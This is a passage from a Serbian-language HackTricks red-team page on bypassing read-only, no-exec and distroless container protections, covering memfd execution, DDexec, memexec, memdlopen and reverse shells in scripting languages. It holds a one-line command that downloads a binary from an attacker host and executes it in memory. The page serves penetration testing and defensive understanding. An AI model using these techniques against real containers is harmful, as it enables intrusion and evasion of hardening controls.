Bypass FS protections: read-only / no-exec / Distroless

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - mi zapošljavamo! (potrebno je tečno poznavanje pisanog i govornog poljskog jezika).

Video snimci

U sledećim video snimcima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije:

Scenario samo za čitanje / bez izvršavanja

Sve je češće naići na Linux mašine montirane sa zaštitom fajl sistema samo za čitanje (ro), posebno u kontejnerima. To je zato što je pokretanje kontejnera sa fajl sistemom samo za čitanje jednostavno postavljanjem readOnlyRootFilesystem: true u securitycontext:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Međutim, čak i ako je fajl sistem montiran kao samo za čitanje, /dev/shm će i dalje biti upisiv, tako da nije tačno da ne možemo ništa zapisati na disk. Međutim, ovaj folder će biti montiran sa zaštitom bez izvršavanja, pa ako ovde preuzmete binarni fajl, nećete moći da ga izvršite.

Sa perspektive crvenog tima, ovo otežava preuzimanje i izvršavanje binarnih fajlova koji nisu već prisutni u sistemu (kao što su backdoor-ovi ili enumeratori poput kubectl).

Najlakši način zaobilaženja: Skripte

Imajte na umu da sam spomenuo binarne fajlove, možete izvršiti bilo koju skriptu sve dok je interpretator unutar mašine, poput shell skripte ako je sh prisutan ili python skripte ako je instaliran python.

Međutim, ovo nije dovoljno samo za izvršavanje vašeg binarnog backdoor-a ili drugih binarnih alata koje možda treba pokrenuti.

Bypassovi memorije

Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način za to je izvršavanje iz memorije, jer se zaštite ne primenjuju tamo.

Bypass FD + exec syscall

Ako imate moćne skriptne motore unutar mašine, poput Python-a, Perla ili Ruby-ja, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (create_memfd syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati exec syscall navodeći fd kao fajl za izvršavanje.

Za ovo možete lako koristiti projekat fileless-elf-exec. Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa binarnim fajlom kompresovanim i b64 enkodiranim sa instrukcijama za dekodiranje i dekompresovanje u fd kreiran pozivom create_memfd syscall i poziv exec syscall-a za pokretanje.

Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju podrazumevan način pozivanja sirovih syscalls iz skripte, tako da nije moguće pozvati create_memfd da kreirate memorijski fd za čuvanje binarnog fajla.

Osim toga, kreiranje regularnog fd sa fajlom u /dev/shm neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene zaštite bez izvršavanja.

DDexec / EverythingExec

DDexec / EverythingExec je tehnika koja vam omogućava da modifikujete memoriju vašeg sopstvenog procesa tako što ćete prepisati njegov /proc/self/mem.

Stoga, kontrolišući asemblerski kod koji se izvršava od strane procesa, možete napisati shellcode i "mutirati" proces da izvrši bilo koji proizvoljni kod.

DDexec / EverythingExec će vam omogućiti da učitate i izvršite svoj shellcode ili bilo koji binarni fajl iz memorije.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec je prirodni sledeći korak nakon DDexec-a. To je DDexec shellcode demonizovan, tako da svaki put kada želite pokrenuti drugi binarni fajl ne morate ponovo pokretati DDexec, već možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim komunicirati sa ovim demonom kako biste prosledili nove binarne fajlove za učitavanje i pokretanje.

Možete pronaći primer kako koristiti memexec za izvršavanje binarnih fajlova iz PHP reverse shell-a na https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Sa sličnim ciljem kao DDexec, tehnika memdlopen omogućava jednostavniji način učitavanja binarnih fajlova u memoriju kako bi ih kasnije izvršili. Može čak omogućiti učitavanje binarnih fajlova sa zavisnostima.

Bypass Distroless

Šta je distroless

Distroless kontejneri sadrže samo apsolutno neophodne komponente za pokretanje određene aplikacije ili servisa, poput biblioteka i zavisnosti za izvršavanje, ali isključuju veće komponente poput upravljača paketima, ljuske ili sistemskih alatki.

Cilj distroless kontejnera je smanjenje površine napada kontejnera eliminisanjem nepotrebnih komponenti i minimiziranje broja ranjivosti koje mogu biti iskorišćene.

Reverse Shell

U distroless kontejneru možda nećete pronaći sh ili bash da biste dobili običnu ljusku. Takođe nećete pronaći binarne fajlove poput ls, whoami, id... sve što obično pokrećete na sistemu.

Stoga, nećete moći dobiti reverse shell ili enumerisati sistem kao što obično radite.

Međutim, ako je kompromitovani kontejner na primer pokrenut kao flask veb, tada je instaliran python, i stoga možete dobiti Python reverse shell. Ako se pokreće node, možete dobiti Node rev shell, i isto važi za većinu skriptnih jezika.

Korišćenjem skriptnog jezika možete enumerisati sistem koristeći mogućnosti jezika.

Ako ne postoje zaštite read-only/no-exec možete zloupotrebiti svoj reverse shell da pišete u fajl sistem vaše binarne fajlove i izvršite ih.

Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koristiti prethodne tehnike izvršavanja u memoriji da ih zaobiđete.

Možete pronaći primere kako iskoristiti neke RCE ranjivosti da biste dobili reverse shell-ove skriptnih jezika i izvršili binarne fajlove iz memorije na https://github.com/carlospolop/DistrolessRCE.

Ako ste zainteresovani za hakersku karijeru i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje pisanog i govornog poljskog jezika).

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated